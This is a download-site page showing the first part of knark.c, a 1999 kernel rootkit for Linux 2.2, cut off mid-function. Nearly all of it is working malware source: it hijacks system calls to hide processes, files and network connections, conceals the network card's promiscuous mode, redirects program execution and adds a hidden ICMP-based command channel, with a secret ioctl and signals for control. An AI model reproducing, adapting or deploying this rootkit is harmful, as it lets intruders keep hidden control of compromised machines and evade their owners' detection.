⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 knark.c

📁 Knark is a kernel-based rootkit for Linux 2.2. 使用此工具可以获得root权限
💻 C
📖 第 1 页 / 共 2 页
字号:
/* * knark.c, part of the knark package * (c) Creed @ #hack.se 1999 <creed@sekure.net> *  * This lkm is based on heroin.c by Runar Jensen, so credits goes to him. * Heroin.c however offered quite few features, and major changes have been * made, so this isn't the same piece of code anymore. *  * This program/lkm may NOT be used in an illegal way, * or to cause damage of any kind. *  * See README for more info. */#define __KERNEL_SYSCALLS__#include <linux/version.h>#include <linux/module.h>#include <linux/kernel.h>#include <linux/sched.h>#include <linux/socket.h>#include <linux/smp_lock.h>#include <linux/stat.h>#include <linux/dirent.h>#include <linux/fs.h>#include <linux/if.h>#include <linux/modversions.h>#include <linux/malloc.h>#include <linux/unistd.h>#include <linux/string.h>#include <linux/skbuff.h>#include <linux/ip.h>#include <sys/syscall.h>#include <net/protocol.h>#include <net/udp.h>#include <net/icmp.h>#include <linux/dirent.h>#include <linux/proc_fs.h>#include <asm/uaccess.h>#include <asm/errno.h>#include "knark.h"#define PF_INVISIBLE 0x10000000static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint,			count)static inline _syscall2(int, kill, int, pid, int, sig);static inline _syscall3(int, ioctl, int, fd, int, cmd, long, arg);static inline _syscall1(int, fork, int, regs);static inline _syscall1(int, clone, int, regs);static inline _syscall2(int, settimeofday, struct timeval *, tv,			struct timezone *, tz);extern void *sys_call_table[];int (*original_getdents)(unsigned int, struct dirent *, unsigned int);int (*original_kill)(int, int);int (*original_read)(unsigned int, char *, size_t);int (*original_ioctl)(int, int, long);int (*original_fork)(struct pt_regs);int (*original_clone)(struct pt_regs);int (*original_execve)(struct pt_regs);int (*original_settimeofday)(struct timeval *, struct timezone *);int knark_atoi(char *);void knark_bcopy(char *, char *, unsigned int);struct task_struct *knark_find_task(pid_t);int knark_is_invisible(pid_t);int knark_hide_process(pid_t);int knark_hide_file(struct inode *, struct dentry *);int knark_unhide_file(struct inode *);int knark_secret_file(ino_t, kdev_t);struct knark_dev_struct *knark_add_secret_dev(kdev_t);struct knark_dev_struct *knark_get_secret_dev(kdev_t);int knark_getdents(unsigned int, struct dirent *, unsigned int);int knark_fork(struct pt_regs);int knark_clone(struct pt_regs);int knark_kill(pid_t, int);int knark_ioctl(int, int, long);int knark_add_nethide(char *);int knark_clear_nethides(void);int knark_read(int, char *, size_t);int knark_settimeofday(struct timeval *, struct timezone *);int knark_add_redirect(struct exec_redirect *);char *knark_redirect_path(char *);int knark_clear_redirects(void);int knark_execve(struct pt_regs regs);int knark_read_pids(char *, char **, off_t, int, int);int knark_read_files(char *, char **, off_t, int, int);int knark_read_redirects(char *, char **, off_t, int, int);int knark_read_nethides(char *, char **, off_t, int, int);int knark_read_author(char *, char **, off_t, int, int);#ifdef FUCKY_REXEC_VERIFYint knark_read_verify_rexec(char *, char **, off_t, int, int);int knark_write_verify_rexec(struct file *, const char *, u_long, void *);#endif /*FUCKY_REXEC_VERIFY*/int knark_do_exec_userprogram(void *);int knark_execve_userprogram(char *, char **, char **, int);int knark_udp_rcv(struct sk_buff *, unsigned short);struct inet_protocol *original_udp_protocol;ino_t knark_ino;int errno;#ifdef FUCKY_REXEC_VERIFYint verify_rexec = 16;#endif /*FUCKY_REXEC_VERIFY*/struct redirect_list{    struct redirect_list *next;    struct exec_redirect rl_er;} *knark_redirect_list = NULL;struct nethide_list{    struct nethide_list *next;    char *nl_hidestr;} *knark_nethide_list = NULL;struct knark_dev_struct {    kdev_t d_dev;    int d_nfiles;    ino_t d_inode[MAX_SECRET_FILES];    char *d_name[MAX_SECRET_FILES];};struct knark_fs_struct {    int f_ndevs;    struct knark_dev_struct *f_dev[MAX_SECRET_DEVS];} *kfs;struct execve_args {    char *path;    char **argv;    char **envp;};struct proc_dir_entry knark_dir = {    0,    sizeof(MODULE_NAME)-1, MODULE_NAME,    S_IFDIR|S_IRUGO|S_IXUGO,    1, 0, 0,    0,};struct proc_dir_entry knark_pids = {    0,    4, "pids",    S_IFREG|S_IRUGO,    1, 0, 0,    0,    NULL,    &knark_read_pids};struct proc_dir_entry knark_files = {    0,    5, "files",    S_IFREG|S_IRUGO,    1, 0, 0,    0,    NULL,    &knark_read_files};struct proc_dir_entry knark_redirects = {    0,    9, "redirects",    S_IFREG|S_IRUGO,    1, 0, 0,    0,    NULL,    &knark_read_redirects};struct proc_dir_entry knark_nethides = {    0,    8, "nethides",    S_IFREG|S_IRUGO,    1, 0, 0,    0,    NULL,    &knark_read_nethides};struct proc_dir_entry knark_author = {    0,    6, "author",    S_IFREG|S_IRUGO,    1, 0, 0,    0,    NULL,    &knark_read_author};#ifdef FUCKY_REXEC_VERIFYstruct proc_dir_entry knark_verify_rexec = {    0,    12, "verify_rexec",    S_IFREG|S_IRUGO|S_IWUSR,    1, 0, 0,    0,    NULL,    &knark_read_verify_rexec,    NULL,    NULL, NULL, NULL,    NULL,    NULL,    &knark_write_verify_rexec};#endif /*FUCKY_REXEC_VERIFY*/struct inet_protocol knark_udp_protocol ={    &knark_udp_rcv,    NULL,    NULL,    IPPROTO_ICMP,    0,    NULL,    "ICMP"};int knark_atoi(char *str){    int ret = 0;    while (*str)    {        if(*str < '0' || *str > '9')            return -EINVAL;        ret *= 10;        ret += (*str - '0');        str++;    }    return ret;}void knark_bcopy(char *src, char *dst, unsigned int num){    while(num-- > 0)        *(dst++) = *(src++);}int knark_strcmp(const char *str1, const char *str2){    while(*str1 && *str2)	if(*(str1++) != *(str2++))	    return -1;    return 0;}struct task_struct *knark_find_task(pid_t pid){    struct task_struct *task = current;    do {	if(task->pid == pid)	    return task;	task = task->next_task;    } while(current != task);        return NULL;}int knark_is_invisible(pid_t pid){    struct task_struct *task;        if(pid < 0) return 0;        if( (task = knark_find_task(pid)) == NULL)	return 0;        if(task->flags & PF_INVISIBLE)	return 1;        return 0;}int knark_hide_process(pid_t pid){    struct task_struct *task;        if( (task = knark_find_task(pid)) == NULL)	return 0;        task->flags |= PF_INVISIBLE;        return 1;}struct knark_dev_struct *knark_add_secret_dev(kdev_t dev){    int current_dev = kfs->f_ndevs;    int ndevs = kfs->f_ndevs;    struct knark_dev_struct **kds = kfs->f_dev;        if(ndevs >= MAX_SECRET_DEVS)	return NULL;        kds[current_dev] = (struct knark_dev_struct *) kmalloc(sizeof(struct knark_dev_struct), GFP_KERNEL);    if(kds[current_dev] == NULL)	return NULL;        kds[current_dev]->d_dev = dev;    kds[current_dev]->d_nfiles = 0;    memset(kds[current_dev]->d_inode, 0, MAX_SECRET_FILES * sizeof(ino_t));    memset(kds[current_dev]->d_name, 0, MAX_SECRET_FILES * sizeof(char *));    kfs->f_ndevs++;        return kds[current_dev];}struct knark_dev_struct *knark_get_secret_dev(kdev_t dev){    int ndevs = kfs->f_ndevs;    struct knark_dev_struct **kds = kfs->f_dev;    int i;        for(i = 0; i < ndevs; i++)	if(kds[i]->d_dev == dev)	    return kds[i];        return NULL;}int knark_secret_file(ino_t inode, kdev_t dev){    int i;    int nfiles;    struct knark_dev_struct *kds;        kds = knark_get_secret_dev(dev);    if(kds == NULL)	return 0;        nfiles = kds->d_nfiles;    for(i = 0; i < nfiles; i++)	if(kds->d_inode[i] == inode)	    return 1;        return 0;}int knark_hide_file(struct inode *inode, struct dentry *entry){    char *name, *nameptr[16];    int i, len, namelen = 0;    struct knark_dev_struct *kds;    ino_t ino = inode->i_ino;    kdev_t dev = inode->i_sb->s_dev;        if(knark_secret_file(ino, dev))        return -1;    kds = knark_get_secret_dev(dev);    if(kds == NULL) {        kds = knark_add_secret_dev(dev);        if(kds == NULL)            return -1;    }    else if(kds->d_nfiles >= MAX_SECRET_FILES)        return -1;    kds->d_inode[kds->d_nfiles] = ino;        if(entry) {	memset(nameptr, 0, 16*sizeof(char *));	for(i = 0; i < 16 && entry->d_name.len != 1 && entry->d_name.name[0] != '/'; i++)	{	    nameptr[i] = (char *)entry->d_name.name;	    namelen += entry->d_name.len;	    entry = entry->d_parent;	}	namelen += i + 1;	kds->d_name[kds->d_nfiles] = kmalloc(namelen, GFP_KERNEL);	name = kds->d_name[kds->d_nfiles];	name[0] = '\0';		for(i = 0; nameptr[i]; i++) ;	for(i--; i >= 0; i--)	{	    len = strlen(name);	    name[len] = '/';	    strcpy(&name[len+1], nameptr[i]);	}    }        else	kds->d_name[kds->d_nfiles] = NULL;    return ++kds->d_nfiles;}int knark_unhide_file(struct inode *inode){    int i;    int nfiles;    struct knark_dev_struct *kds;    ino_t ino = inode->i_ino;    kdev_t dev = inode->i_dev;        if(!knark_secret_file(ino, dev))	return -1;        kds = knark_get_secret_dev(dev);    if(kds == NULL)        return -1;    nfiles = kds->d_nfiles;    for(i = 0; i < nfiles; i++)        if(kds->d_inode[i] == ino)    {        kds->d_inode[i] = kds->d_inode[nfiles - 1];        kds->d_inode[nfiles - 1] = 0;	if(kds->d_name[nfiles - 1])	    kfree(kds->d_name[nfiles - 1]);        return --kds->d_nfiles;    }    return -1;}int knark_getdents(unsigned int fd, struct dirent *dirp, unsigned int count){    int ret;    int proc = 0;    struct inode *dinode;    char *ptr = (char *)dirp;    struct dirent *curr;    struct dirent *prev = NULL;    kdev_t dev;        ret = (*original_getdents)(fd, dirp, count);    if(ret <= 0) return ret;    dinode = current->files->fd[fd]->f_dentry->d_inode;    dev = dinode->i_sb->s_dev;        if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) &&       MINOR(dinode->i_dev) == 1)	proc++;        while(ptr < (char *)dirp + ret)    {	curr = (struct dirent *)ptr;	if( (proc && (curr->d_ino == knark_ino ||		      knark_is_invisible(knark_atoi(curr->d_name)))) ||	    knark_secret_file(curr->d_ino, dev))	{	    if(curr == dirp)	    {		ret -= curr->d_reclen;		knark_bcopy(ptr + curr->d_reclen, ptr, ret);		continue;	    }	    else		prev->d_reclen += curr->d_reclen;	}	else	    prev = curr;		ptr += curr->d_reclen;    }    return ret;}int knark_fork(struct pt_regs regs){    pid_t pid;    int hide = 0;        if(knark_is_invisible(current->pid))	hide++;        pid = (*original_fork)(regs);    if(hide && pid > 0)	knark_hide_process(pid);        return pid;}int knark_clone(struct pt_regs regs){    pid_t pid;    int hide = 0;        if(knark_is_invisible(current->pid))	hide++;        pid = (*original_clone)(regs);    if(hide && pid > 0)	knark_hide_process(pid);        return pid;}int knark_kill(pid_t pid, int sig){    struct task_struct *task;        if(sig != SIGINVISIBLE && sig != SIGVISIBLE) 	return (*original_kill)(pid, sig);         if((task = knark_find_task(pid)) == NULL)	return -ESRCH;        if(current->uid && current->euid)	return -EPERM;        if(sig == SIGINVISIBLE) task->flags |= PF_INVISIBLE;    else task->flags &= ~PF_INVISIBLE;        return 0;}int knark_ioctl(int fd, int cmd, long arg){    int ret;    struct ifreq ifr;    struct inode *inode;    struct dentry *entry;    if(cmd != KNARK_ELITE_CMD)    {	ret = (*original_ioctl)(fd, cmd, arg);	if(!ret && cmd == SIOCGIFFLAGS)	{	    copy_from_user(&ifr, (void *)arg, sizeof(struct ifreq));	    ifr.ifr_ifru.ifru_flags &= ~IFF_PROMISC;	    copy_to_user((void *)arg, &ifr, sizeof(struct ifreq));	}	return ret;    }        if(current->files->fd[fd] == NULL)	return -1;        entry = current->files->fd[fd]->f_dentry;    inode = entry->d_inode;        switch(arg)    {      case KNARK_HIDE_FILE:	ret = knark_hide_file(inode, entry);	break;	      case KNARK_UNHIDE_FILE:	ret = knark_unhide_file(inode);	break;	      default:	return -EINVAL;    }    return ret;}int knark_add_nethide(char *hidestr){

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -